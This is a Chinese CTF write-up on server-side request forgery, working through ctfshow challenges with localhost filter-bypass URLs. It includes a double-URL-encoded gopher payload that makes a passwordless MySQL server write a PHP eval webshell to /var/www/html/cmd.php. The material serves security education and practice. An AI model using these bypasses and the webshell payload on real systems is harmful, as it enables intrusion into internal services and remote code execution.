当前位置: 首页 > news >正文

SSRF服务端请求Gopher伪协议白盒测试

前言

是什么SSRF? 这个简单点说就是 服务端的请求伪造  就是这个如果是个 请求图片的网站 他的目的是请求外部其他网站的 图片 但是 SSRF指的是让他请求本地的图片 再展示出来 请求的是他的服务器上的图片  

SSRF(Server-Side Request Forgery:服务器端请求伪造)

一种由攻击者构造形成由服务端发起请求的一个安全漏洞;

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

SSRF服务端请求的伪造演示

简单的演示 : 最简单就是这个是 远程请求的网站 可以让你加载其他的资源 

目的:

请求远程的图片(为什么乱码就是因为我的代码没有设置解析图片的东西)

构造payload

加载了我本地的站点 

加载了我的数据库的内容

当然如果是 http://127.0.0.1//d:/1.txt  是不是可以直接读取本地的文件了

玩法和产生:产生就是 一些网站的功能(文件的下载转发 分享 )导致的
有回显的玩法
1、内网的探针
2、伪协议实现文件的读取等操作 file

看一下源码

白盒测试

以ctfshow的题为主

web351

这个从 curl 这个函数就可以审计出是有 ssrf  的

因为没有做过滤 我们直接使用hackerbar 

直接请求  或者如果你知道他的绝对路径 可以使用其他的协议 file://

web352

审计:


web353

使用域名解析代替  127.0.0.1

 域名解析代替127网站获取flag:http://safe.taobao.com/flag.php

url=http://spoofed.burpcollaborator.net/flag.php

http://sudo.cc/flag.php

http://www.ruiaxx.cn/flag.php

web354

这个时候的过滤方式我们想到了几种 :

1、进制转换 (0 1 过滤二进制应该鸡鸡了)

2、省略绕过(这里不行(把127.0.0.1 搞为 127.1     0    [::] 这些都是可以的))

3、短网址绕过

4、重定向绕过(这个就是属于远程访问了)

5、域名解析 (这个多用于 搞长度限制的那些题目)

演示 进制转换 

但是发现都有 01  全部淘汰

再一个就是 短网址绕过 

短网址不要试了有 0的  

所以直接使用  域名解析绕过

这边直接阿里云 搞一波   还是域名解析得到flag

可以自己搭建当然还可以使用重定向

web355

http://0/flag.php  这个方式绕过  或者是 127.1 这样  这个就是缩写绕过

web356

别以为略写无敌了  这个是需要linux服务器(linux服务器的特点解析)的

web357

查了一下 这个是域名解析函数  那这个的逻辑就变成了  当我们的http输入后边的不是域名或者ip的时候 才能  进行输出

这个只有30x重定向符合 

不信先搞个普通的

再使用上面的域名   

重定向不是所有的时候都可以使用的这个只能  用于 别人访问你当下的域名 进行解析的时候  这个gethostbyname 就能符号所以直接成功

web358

url=http://ctf.@127.0.0.1/flag.php # *show

@ 是专指的是当前的要访问的地址

# 用作过滤

WEB 359

看一下题目  无密码的mysql   这个是个特点  没有这个还不可以     

这个考的是   我们sql注入内网的时候的场景   因为http无法访问内网   从而导致我们的探针失败 (因为他的数据库不是外网所以我们不能直接注入操作 )

但是这个时候就需要   新的协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus\

简单的说 就是你当前的这个api是个接口  内网在里面   我们重定向 让内网出来访问是 不可能的但是我们使用http又进不去 这个 gopher协议就可以帮助构造payload 从而执行 

工具的用法: py   --exploit   数据库

然后输入你想输入的语法就可以了

然后输入你要加密的   select <?php eval($_POST[cmd])?>  into outfile  '/var/www/html/cmd.php'

因为我这个是没有 python 2环境的  所以我直接使用别人解析好的了

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%27%3b%01%00%00%00%01

复制上 直接拿下  这个不对的   因为有 %出现 所以服务器会进行url 解码一次  所以我们的逻辑就是把这个加密一次

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

复制加上 前缀

执行成功

访问 cmd.php 

蚁剑连接 

找flag

相关文章:

SSRF服务端请求Gopher伪协议白盒测试

前言 是什么SSRF&#xff1f; 这个简单点说就是 服务端的请求伪造 就是这个如果是个 请求图片的网站 他的目的是请求外部其他网站的 图片 但是 SSRF指的是让他请求本地的图片 再展示出来 请求的是他的服务器上的图片 SSRF(Server-Side Request Forgery:服务器端请求伪造) …...

[2029].第6-06节:MyISAM引擎中的索引与 InnoDB引擎中的索引对比

所有博客大纲 后端学习大纲 MySQL学习大纲 1.MyISAM索引&#xff1a; 1.1.B树索引适用存储引擎&#xff1a; 1.B树索引适用存储引擎如下表所示&#xff1a; 2.即使多个存储引擎都支持同一种类型的B树索引&#xff0c;但它们的实现原理也是不同的 Innodb和MyISAM默认的索引是B…...

WOFOST作物模型(3):(本地化校准)优化PCSE模型中的参数

目录 一、准备自己的LAI观测数据二、优化参数三、损失函数四、NLOPT优化五、优化结果可视化一、准备自己的LAI观测数据 在进行田间实测后,得到自己的LAI观测数据 在程序这个地方输入自己的LAI采样日期和观测值 二、优化参数 这里主要选择了TDWI(Total Dry Weight at ger…...

如何修改pip全局缓存位置和全局安装包存放路径

使用场景&#xff1a; 在默认情况下&#xff0c;pip 会将安装的包存放在 Python 环境的 site-packages 目录下&#xff0c;会使用到系统盘的内存。 当遇到系统盘的内存很小的时候,需要修改pip的全局缓存位置和全局安装包存放路径,可以极大的节省系统盘内存 详细步骤&#xff…...

ZooKeeper注册中心实现

具体步骤 安装ZooKeeper&#xff08;启动端口占用&#xff0c;2181&#xff1a;客户端&#xff0c;8080&#xff1a;管理端&#xff09;引入客户端依赖实现注册中心接口SPI补充ZooKeeper注册中心 引入依赖 <!-- zookeeper --> <dependency><groupId>org.a…...

PyTorch快速入门教程【小土堆】之DataLoader的使用

视频地址DataLoader的使用_哔哩哔哩_bilibili dataset数据集&#xff0c;相当于一副扑克&#xff0c;dataloader数据加载器相当于我们的手&#xff0c;选择摸几张牌&#xff0c;怎么摸牌 import torchvision# 准备的测试数据集 from torch.utils.data import DataLoader from …...

khadas edge2安装ubuntu22.04与ubuntu20.04 docker镜像

khadas edge2安装ubuntu22.04与ubuntu20.04 docker镜像 一、资源准备1.1 镜像文件1.2 刷机工具1.3 ubuntu20.04 docker镜像&#xff08;具备demon无人机所需各种驱动&#xff09; 二、开始刷机&#xff08;安装ubuntu22.04系统&#xff09;2.1 进入刷机状态2.2 刷机 三、docker…...

大数据面试笔试宝典之Kafka面试

1.Kafka 如何实现高吞吐率 Kafka 如何实现高吞吐率? 参考答案: 1)顺序读写...

新手SEO入门指南如何有效提升网站排名

内容概要 在进行搜索引擎优化&#xff08;SEO&#xff09;时&#xff0c;了解基本概念与重要性是首要步骤。SEO不仅仅是提升网站在搜索引擎中排名的手段&#xff0c;它还关乎用户体验和网站内容的质量。随着互联网的发展&#xff0c;越来越多的人意识到优秀的SEO策略能带来持续…...

【Redis】:初识Redis

1.1 盛赞 Redis Redis 是⼀种基于键值对&#xff08;key-value&#xff09;的 NoSQL 数据库&#xff0c;与很多键值对数据库不同的是&#xff0c;Redis 中的值可以是由 string&#xff08;字符串&#xff09;、hash&#xff08;哈希&#xff09;、list&#xff08;列表&#xf…...

C-5 B样条曲线

C-5 B样条曲线 N i , 0 ( u ) { 1 , u i ≤ u < u i 1 0 , o t h e r s N_{i,0}(u)\left\{\begin{matrix} 1 , \quad u_i\le u <u_{i1} \\0 ,\quad others \qquad \quad\end{matrix}\right. Ni,0​(u){1,ui​≤u<ui1​0,others​ N i , p ( u ) u − u i u i p −…...

python安装

python安装 1.下载2.安装3.验证安装成功 1.下载 &#xff08;1&#xff09;下载网址&#xff1a;https://www.python.org/downloads/windows/ 进入后稍等一会&#xff0c;比较慢 &#xff08;2&#xff09;选择版本 2.安装 &#xff08;1&#xff09;双击或者以管理员身份运…...

游戏引擎学习第65天

回顾我们在模拟区域更改方面的进展 目前我们正在进行游戏的架构调整&#xff0c;目标是建立一个引擎架构。我们正在实施的一个关键变化是引入模拟区域的概念&#xff0c;这样我们可以创建非常大的游戏世界&#xff0c;而这些世界的跨度不必受限于单个浮点变量。 通过这种方式…...

代码随想录算法训练营第十六天-二叉树-513.找树左下角的值

左下角不是以为的左下角&#xff0c;而最后一层最左侧的节点也是就是说一个右叶子节点&#xff0c;也可能是最左下角&#xff0c;当然是在其左侧再无其它同级节点看视频讲解使用的递归与回溯方法&#xff0c;自己是完全想不到的&#xff0c;对这道题解法完全是脑袋空空 #inclu…...

力扣第122题:买卖股票的最佳时机 II

力扣第122题&#xff1a;买卖股票的最佳时机 II - C语言解法 题目描述 给定一个数组 prices&#xff0c;其中 prices[i] 是一支股票第 i 天的价格。你可以多次买入和卖出股票&#xff0c;求能够获得的最大利润。 注意&#xff1a; 你不能同时参与多笔交易&#xff08;即必须…...

【Spring MVC】第一站:Spring MVC介绍配置基本原理

目录 1.引入 2. Java web的发展史 Model I 和Model II 3. MVC模式 4. Spring MVC配置 5. SpringMVC原理 5.1 SpringMVC中心控制器 6. Maven配置 1.引入 $$ Spring与Spring MVC的区别 SSM 包含三部分&#xff1a; Spring MVCSpringMybatis SSM就是升级版的Servlet。 Servlet…...

密钥登录服务器

1. 生成 SSH 密钥对 如果您还没有生成密钥对&#xff0c;可以使用以下命令生成&#xff1a; ssh-keygen 在 root 用户的家目录中生成了一个 .ssh 的隐藏目录&#xff0c;内含两个密钥文件&#xff1a;id_rsa 为私钥&#xff0c;id_rsa.pub 为公钥。 在提示时&#xff0c;您可…...

Java中StopWatch的使用详解

stopWatch 是org.springframework.util 包下的一个工具类&#xff0c;使用它可直观的输出代码执行耗时&#xff0c;以及执行时间百分比。 在未使用这个工具类之前&#xff0c;如果我们需要统计某段代码的耗时&#xff0c;我们会这样写: public static void main(String[] args…...

安全运营 -- splunk restapi 最小权限

0x00 背景 最小化权限原则&#xff0c;为每个功能&#xff0c;每个账户分配最小的权限。 0x01 实践 只需要7个 capability: Youll need to add certain capabilities to that user or that userss role(s).[capability::rest_apps_management] * Lets a user edit settings …...

12. 日常算法

1. 主持人调度&#xff08;一&#xff09; 题目来源 class Solution { public:bool hostschedule(vector<vector<int>>& schedule) {// write code heresort(schedule.begin(), schedule.end());int start -1, end 0;for (auto & nums : schedule){end…...

运行Zr.Admin项目(后端)

1.下载Zr.Admin代码压缩包 https://codeload.github.com/izhaorui/Zr.Admin.NET/zip/refs/heads/main 2.打开项目 我这里装的是VS2022社区版 进入根目录&#xff0c;双击ZRAdmin.sln打开项目 3.安装.net7运行时 我当时下载的代码版本是.net7的 点击安装 点击安装&#xff0…...

CSS(二):美化网页元素

目录 字体样式 文本样式 列表样式 背景图片 字体样式 字体相关的 CSS 属性&#xff1a; font-family&#xff1a;设置字体font-size&#xff1a;设置字体大小font-weight&#xff1a;设置字体的粗细&#xff08;如 normal, bold, lighter 等&#xff09;color&#xff1a;…...

如何不让场景UI受后处理影响

1&#xff09;如何不让场景UI受后处理影响 2&#xff09;Sprite打入SpriteAtlasv2依赖丢失 3&#xff09;如何为Render Texture模式的videoPlayer生成封面 4&#xff09;如何排查Shader变体的SRP Batcher兼容性 这是第415篇UWA技术知识分享的推送&#xff0c;精选了UWA社区的热…...

【教程】通过Docker运行AnythingLLM

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 官方教程&#xff1a;Local Docker Installation ~ AnythingLLM 1、先创建一个目录用于保存anythingllm的持久化文件&#xff1a; sudo mkdir /app su…...

2024/12/29 黄冈师范学院计算机学院网络工程《路由期末复习作业一》

一、选择题 1.某公司为其一些远程小站点预留了网段 172.29.100.0/26&#xff0c;每一个站点有10个IP设备接到网络&#xff0c;下面那个VLSM掩码能够为该需求提供最小数量的主机数目 &#xff08; &#xff09; A./27 B./28 C./29 D./30 -首先审题我们需要搞清楚站点与网…...

LeetCode-整数反转(007)

一.题目描述 给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 如果反转后整数超过 32 位的有符号整数的范围 [−231, 231 − 1] &#xff0c;就返回 0。 假设环境不允许存储 64 位整数&#xff08;有符号或无符号&#xff09;。 二.示例 …...

碰一碰发视频矩阵系统源码搭建,支持OEM

一、引言 随着短视频的火爆发展&#xff0c;碰一碰发视频的矩阵系统逐渐受到关注。这种系统能够实现用户通过碰一碰设备&#xff08;如 NFC 标签&#xff09;快速触发视频的发布&#xff0c;在营销推广、互动体验等领域有着广泛的应用前景。本文将详细介绍碰一碰发视频矩阵系统…...

Linux网络编程3——多线程编程(改良版)

一.多线程 1.什么是线程 要了解线程&#xff0c;首先需要知道进程。一个进程指的是一个正在执行的应用程序。线程对应的英文名称为“thread”&#xff0c;它的功能是执行应用程序中的某个具体任务&#xff0c;比如一段程序、一个函数等。 线程和进程之间的关系&#xff0c;类…...

LeetCode每日三题(六)数组

一、最大子数组和 自己答案&#xff1a; class Solution {public int maxSubArray(int[] nums) {int begin0;int end0;if(numsnull){//如果数组非空return 0;}else if(nums.length1){//如果数组只有一个元素return nums[0];}//初值选为数组的第一个值int resultnums[0];int i…...

安装了python,环境变量也设置了,但是输入python不报错也没反应是为什么?window的锅!

目录 问题 结论总结 衍生问题 1 第1步&#xff1a;小白python安装&#xff0c;不要埋头一直点下一步&#xff01;&#xff01;&#xff01; 2 第2步&#xff1a;可以选择删了之前的&#xff0c;重新安装python 3 第3步&#xff1a;如果你不想或不能删了重装python&#…...

Vue.js组件开发-使用KeepAlive缓存特定组件

在Vue中&#xff0c;<keep-alive> 组件是一个非常有用的工具&#xff0c;可以用来缓存那些不希望每次切换时都重新渲染的组件。要缓存特定组件&#xff0c;可以使用 <keep-alive> 的 include 和 exclude 属性&#xff0c;这两个属性都接受字符串、正则表达式或数组…...

配置hive支持中文注释

hive元数据metastore默认的字符集是latin1&#xff0c;所以中文注释会乱码。但是不能将metastore库的字符集更改为utf-8&#xff0c;只能对特定表、特定列修改为utf-8。配置hive支持中文注释&#xff0c;主要在两个方面&#xff1a; 1、在Hive元数据存储的Mysql数据库中&#…...

Windows配置IE浏览器不自动跳转到Edge

一&#xff1a;使用 IE 浏览器自身设置&#xff08;部分情况有效&#xff09; 打开 IE 浏览器设置&#xff1a;启动 IE 浏览器&#xff0c;点击右上角的 “工具”&#xff08;齿轮形状&#xff09;图标&#xff0c;选择 “Internet 选项”。设置启动选项&#xff1a;在 “Inte…...

BGP特性实验

实验拓扑 实验需求及解法 本实验模拟大规模BGP网络部署&#xff0c;使用4字节AS号&#xff0c;传递IPv6路由。 预配说明&#xff1a; sysname R1 ospfv3 1router-id 1.1.1.1 # firewall zone Localpriority 15 # interface Serial1/0/0link-protocol pppipv6 enable ipv6 ad…...

【多模态】从零学习多模态——2024学习笔记总结

从零学习多模态——2024学习笔记总结 前言1. preliminary2. Transformer和NLP基础3. 多模态模型原理和架构学习4. 动手实验多模态模型第一步尝试Swift框架使用数据验证 5. 总结 前言 2024快结束啦&#xff0c;半年抽空学了学多模态还挺好玩的&#xff0c;学习和踩坑记录记一下&…...

Meta AI 提出大型概念模型(LCMs):语义超越基于令牌的语言建模

在自然语言处理&#xff08;Natural Language Processing, NLP&#xff09;的领域&#xff0c;大型语言模型&#xff08;Large Language Models, LLMs&#xff09;已经取得了令人瞩目的成就&#xff0c;它们使得文本生成、摘要和问答等应用成为现实。但是&#xff0c;这些模型依…...

【优先算法】滑动窗口 --(结合例题讲解解题思路)(C++)

目录 ​编辑 1.什么是滑动窗口&#xff1f; 2. 滑动窗口例题 2.1 例题1&#xff1a;长度最小的子数组 2.1.1 解题思路 2.1.2 方法一&#xff1a;暴力枚举出所有的子数组的和 2.1.3 方法二&#xff1a;使用 “同向双指针” 也就是滑动窗口来进行优化 2.2 例题2&#xff1a;无重…...

Linux下PostgreSQL-12.0安装部署详细步骤

一、安装环境 postgresql-12.0 CentOS-7.6 注意&#xff1a;确认linux系统可以正常连接网络&#xff0c;因为在后面需要添加依赖包。 二、pg数据库安装包下载 下载地址&#xff1a;PostgreSQL: File Browser 选择要安装的版本进行下载&#xff1a; 三、安装依赖包 在要安…...

Delphi历史版本对照及主要版本特性

Delphi编程的关键特性包括&#xff1a; 可视化开发&#xff1a;Delphi以其独特的开发方法而闻名&#xff0c;它允许开发者通过直观的表单设计器来创建用户界面。这种快速应用程序开发&#xff08;RAD&#xff09;的方法大大简化并加速了图形用户界面&#xff08;GUI&#xff09…...

java基础知识22 java的反射机制

一 java反射机制 1.1 概述 Java反射&#xff0c;程序在运行时&#xff0c;动态获取类信息&#xff08;类元数据&#xff09;&#xff0c;获取字段属性&#xff0c;动态创建对象和调用方法。Spring框架正是基于反射机制&#xff0c;通过我们的配置文件&#xff0c;在项目运行时…...

多因子模型连载

多因子模型 (Multi-Factor Model)是量化投资中的一种重要工具&#xff0c;用于解释和预测股票收益。它通过将多个不同的因子&#xff08;如市值、动量、价值、质量等&#xff09;结合起来&#xff0c;构建一个综合的模型来评估股票的表现。多因子模型不仅能够捕捉单个因子的影响…...

服务器广播算法

服务器广播算法&#xff08;Server Broadcasting Algorithm&#xff09;是一种在分布式系统中用于高效地将信息从一个服务器传播到整个网络的算法。它被广泛用于分布式计算、数据中心、内容分发网络&#xff08;CDN&#xff09;和消息队列系统中。以下是常见的服务器广播算法的…...

具身智能 - Vision-language-action models for robot manipulation

具身智能大模型简介_哔哩哔哩_bilibili 受到自然语言处理、计算机视觉领域中基础模型的成功的启发&#xff0c;具身智能领域也在尝试设计、训练、微调大模型来解决现实生活中最普遍存在的机器人操作问题。“Vision-language-action models for robot manipulation”&#xff0…...

计算机组成原理的学习笔记(12) -- 总线和I/O系统

学习笔记 前言 ​ 本文主要是对于b站尚硅谷的计算机组成原理的学习笔记&#xff0c;仅用于学习交流。 总线 1. 组成 总线主要由三种信号线组成&#xff1a; 数据线&#xff1a;用于传输实际的数据&#xff0c;宽度决定了数据传输的并行性。 地址线&#xff1a;传输内存或I/…...

ReactiveStreams、Reactor、SpringWebFlux

注意&#xff1a; 本文内容于 2024-12-28 21:22:12 创建&#xff0c;可能不会在此平台上进行更新。如果您希望查看最新版本或更多相关内容&#xff0c;请访问原文地址&#xff1a;ReactiveStreams、Reactor、SpringWebFlux。感谢您的关注与支持&#xff01; ReactiveStreams是…...

【潜意识Java】探寻Java子类构造器的神秘面纱与独特魅力,深度学习子类构造器特点

目录 一、子类构造器的诞生背景 &#xff08;一&#xff09;为啥要有子类构造器&#xff1f; &#xff08;二&#xff09;子类与父类构造器的关系 二、子类构造器的调用规则 &#xff08;一&#xff09;默认调用父类无参构造器 &#xff08;二&#xff09;显式调用父类构…...

OpenCV调整图像亮度和对比度

【欢迎关注编码小哥&#xff0c;学习更多实用的编程方法和技巧】 1、基本方法---线性变换 // 亮度和对比度调整 cv::Mat adjustBrightnessContrast(const cv::Mat& src, double alpha, int beta) {cv::Mat dst;src.convertTo(dst, -1, alpha, beta);return dst; }// 使用…...

HarmonyOs DevEco studio小技巧40--应用名称、图标与启动动画修改全攻略

一、引言 随着 HarmonyOS 的日益普及&#xff0c;越来越多的开发者投身于这个充满潜力的生态之中。而 DevEco Studio 作为 HarmonyOS 官方推出的集成开发环境&#xff0c;为开发者提供了一站式的开发体验。在应用开发过程中&#xff0c;一些细节上的设置&#xff0c;如应用名称…...

ESP-IDF学习记录(2)ESP-IDF 扩展的简单使用

傻瓜式记录一个示例的打开&#xff0c;编译&#xff0c;运行。后面我再一个个运行简单分析每个demo的内容。 1.打开示例代码 2.选择项目&#xff0c;文件夹 3.选择串口 4.选择调试方式 5.根据硬件GPIO口配置menuconfig 6.构建项目 7.烧录设备&#xff0c;选择串口UART方式 运行…...

2024 年最新 windows 操作系统搭建部署 nginx 服务器应用详细教程(更新中)

nginx 服务器概述 Nginx 是一款高性能的 HTTP 和 反向代理 服务器&#xff0c;同时是一个 IMAP / POP3 / SMTP 代理服务器。Nginx 凭借其高性能、稳定性、丰富的功能集、简单的配置和低资源消耗而闻名。 浏览 nginx 官网&#xff1a;https://nginx.org/ Nginx 应用场景 静态…...